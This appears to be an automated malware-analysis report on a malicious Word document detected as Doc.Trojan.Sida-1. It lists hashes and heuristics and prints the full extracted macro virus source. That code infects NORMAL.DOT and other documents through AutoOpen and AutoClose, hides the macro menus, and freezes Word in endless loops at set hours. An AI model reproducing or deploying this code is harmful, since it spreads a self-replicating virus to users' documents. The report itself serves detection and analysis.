Office (OLE) malware analysis — malicious · 336c991c1323d9b2

MALICIOUS

Office (OLE)

62.0 KB Created: 2000-08-25 20:28:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: 63c38017cac9473847586f0c4ac03d6c SHA-1: ab161ed6387db8501c34861e6c5b9ece23680a69 SHA-256: 336c991c1323d9b2e24eb52f531b11ca9d8f975cff8c1747ecc37adf6cc8adae

196 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

This malicious Word document contains legacy WordBasic macro virus markers and multiple VBA macros, including AutoOpen and Auto_Close, indicating an attempt to infect the system. The script explicitly copies its macros ('AIDS', 'AUTOOPEN', 'AUTOCLOSE', 'AUTOEXIT', 'AUTOEXEC') to the NORMAL.DOT template and potentially other locations, suggesting a persistence mechanism. The ClamAV detection 'Doc.Trojan.Sida-1' further confirms its malicious nature.

Heuristics 5

ClamAV: Doc.Trojan.Sida-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Sida-1
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS

OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Attribute VB_Name = "AUTOOPEN"
```

Auto_Close macro low OLE_VBA_AUTOCLOSE

Auto_Close macro

Matched line in script

WordBasic.Organizer Copy:=1, Source:=n$, Destination:=M__$(count_), Name:="AUTOCLOSE", Tab:=3

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	6917 bytes
SHA-256: `73d56c1ef1129acba5b9a0c5df47f514ea26e26a5d3a350312e50402ddbcb4a1`
Detection ClamAV: Doc.Trojan.Sida-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "AIDS" Public Sub MAIN() End Sub Attribute VB_Name = "AUTOOPEN" Public Sub MAIN() Dim I$ Dim P Dim n$ Dim K$ Dim T$ Dim s$ Dim Z$ Dim size_ ReDim M__$(0) Dim count_ WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="toolsmacro", Menu:="&tools", MenuText:="&macro...", ResetAll:=1, Context:=0 On Error Resume Next I$ = WordBasic.[DefaultDir$](2) I$ = WordBasic.[DefaultDir$](2) P = InStr(5, I$, "\") I$ = WordBasic.[Left$](I$, P - 1) n$ = WordBasic.[FileName$]() K$ = WordBasic.[FileNameInfo$](WordBasic.[FileName$](), 5) T$ = WordBasic.[FileNameInfo$](WordBasic.[FileName$](), 2) s$ = WordBasic.[FileNameInfo$](WordBasic.[FileName$](), 4) Z$ = WordBasic.[MacroFileName$]("AIDS") Rem button = MsgBox(Z$, 36) If Z$ = n$ Then WordBasic.FileFind SearchPath:=I$, Name:="NORMAL.DOT", SubDir:=1 size_ = WordBasic.CountFoundFiles() - 1 If size_ >= 0 Then ReDim M__$(size_) For count_ = 0 To size_ M__$(count_) = WordBasic.[FoundFileName$](count_ + 1) WordBasic.Organizer Copy:=1, Source:=n$, Destination:=M__$(count_), Name:="AIDS", Tab:=3 WordBasic.Organizer Copy:=1, Source:=n$, Destination:=M__$(count_), Name:="AUTOOPEN", Tab:=3 WordBasic.Organizer Copy:=1, Source:=n$, Destination:=M__$(count_), Name:="AUTOCLOSE", Tab:=3 WordBasic.Organizer Copy:=1, Source:=n$, Destination:=M__$(count_), Name:="AUTOEXIT", Tab:=3 WordBasic.Organizer Copy:=1, Source:=n$, Destination:=M__$(count_), Name:="AUTOEXEC", Tab:=3 Next End If Else End If s$ = WordBasic.[MenuText$](1, 1) If s$ = "&File" Then WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsMacro", Menu:="&Tools", MenuText:="&Macro...", Remove:=1, Context:=0 WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsCustomize", Menu:="&Tools", MenuText:="&Customize...", Remove:=1, Context:=0 Else WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsMacro", Menu:="à&¤Ã×èÍ§Á×Í", MenuText:="&ÁÒâ¤Ã...", Remove:=1, Context:=0 WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsCustomize", Menu:="à&¤Ã×èÍ§Á×Í", MenuText:="¡Ó&Ë¹´àÍ§...", Remove:=1, Context:=0 End If End Sub Attribute VB_Name = "AUTOCLOSE" Public Sub MAIN() Dim I$ Dim P Dim n$ Dim K$ Dim T$ Dim s$ Dim Z$ Dim size_ ReDim M__$(0) WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="toolsmacro", Menu:="&tools", MenuText:="&macro...", ResetAll:=1, Context:=0 I$ = WordBasic.[DefaultDir$](2) I$ = WordBasic.[DefaultDir$](2) P = InStr(5, I$, "\") I$ = WordBasic.[Left$](I$, P - 1) n$ = WordBasic.[FileName$]() K$ = WordBasic.[FileNameInfo$](WordBasic.[FileName$](), 5) T$ = WordBasic.[FileNameInfo$](WordBasic.[FileName$](), 2) s$ = WordBasic.[FileNameInfo$](WordBasic.[FileName$](), 4) Z$ = WordBasic.[MacroFileName$]("AIDS") Rem button = MsgBox(Z$, 36) If Z$ <> n$ Then WordBasic.FileFind SearchPath:=I$, Name:="NORMAL.DOT", SubDir:=1 size_ = WordBasic.CountFoundFiles() If size_ >= 0 Then ReDim M__$(size_) M__$(1) = WordBasic.[FoundFileName$](size_) WordBasic.FileSaveAs Name:=n$, Format:=1, LockAnnot:=0, Password:="", AddToMru:=1, WritePassword:="", RecommendReadOnly:=0, EmbedFonts:=0, NativePictureFormat:=0, FormsData:=0 Rem button = MsgBox(M$(1), 36) WordBasic.Organizer Copy:=1, Source:=M__$(1), Destination:=n$, Name:="AIDS", Tab:=3 WordBasic.Organizer Copy:=1, Source:=M__$(1), Destination:=n$, Name:="AUTOOPEN", Tab:=3 WordBasic.Organizer Copy:=1, Source:=M__$(1), Destination:=n$, Name:="AUTOCLOSE", Tab:=3 WordBasic.Organizer Copy:=1, Source:=M__$(1), Destination:=n$, Name:="AUTOEXIT", Tab:=3 WordBasic.Organizer Copy:=1, Source:=M__$(1), Destination:=n$, Name:="AUTOEXEC", Tab:=3 End If Else End If s$ = WordBasic.[MenuText$](1, 1) If s$ = "&File" Then WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsMacro", Menu:="&Tools", MenuText:="&Macro...", Remove:=1, Context:=0 WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsCustomize", Menu:="&Tools", MenuText:="&Customize...", Remove:=1, Context:=0 Else WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsMacro", Menu:="à&¤Ã×èÍ§Á×Í", MenuText:="&ÁÒâ¤Ã...", Remove:=1, Context:=0 WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsCustomize", Menu:="à&¤Ã×èÍ§Á×Í", MenuText:="¡Ó&Ë¹´àÍ§...", Remove:=1, Context:=0 End If End Sub Attribute VB_Name = "AUTOEXIT" Public Sub MAIN() Attribute MAIN.VB_Description = "ScanProt macro to protect and disinfect your Normal (Global) template." Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AUTOEXIT.MAIN" Dim Z$ Dim ii WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="toolsmacro", Menu:="&tools", MenuText:="&macro...", ResetAll:=1, Context:=0 Z$ = WordBasic.[Time$](WordBasic.Now()) Z$ = WordBasic.[Left$](Z$, 2) If Z$ = "17" Or Z$ = "05" Or Z$ = "5" Or Z$ = "5:" Then ii = 0 While ii <> 2 ii = 0 Wend End If If Z$ = "20" Then ii = 0 While ii <> 2 ii = 0 Wend End If Rem button = MsgBox(Z$, 36) End Sub Attribute VB_Name = "AUTOEXEC" Public Sub MAIN() Dim Z$ Dim ii Dim s$ WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="toolsmacro", Menu:="&tools", MenuText:="&macro...", ResetAll:=1, Context:=0 WordBasic.DisableInput 1 On Error Resume Next Z$ = WordBasic.[Time$](WordBasic.Now()) Z$ = WordBasic.[Left$](Z$, 2) If Z$ = "17" Or Z$ = "05" Or Z$ = "5" Or Z$ = "5:" Then ii = 0 While ii <> 2 ii = 0 Wend End If If Z$ = "20" Then ii = 0 While ii <> 2 ii = 0 Wend End If s$ = WordBasic.[MenuText$](1, 1) Rem button = MsgBox(s$, 36) If s$ = "&File" Then WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsMacro", Menu:="&Tools", MenuText:="&Macro...", Remove:=1, Context:=0 WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsCustomize", Menu:="&Tools", MenuText:="&Customize...", Remove:=1, Context:=0 Else WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsMacro", Menu:="à&¤Ã×èÍ§Á×Í", MenuText:="&ÁÒâ¤Ã...", Remove:=1, Context:=0 WordBasic.ToolsCustomizeMenus MenuType:=0, Position:=-1, Category:=1, Name:="ToolsCustomize", Menu:="à&¤Ã×èÍ§Á×Í", MenuText:="¡Ó&Ë¹´àÍ§...", Remove:=1, Context:=0 End If End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.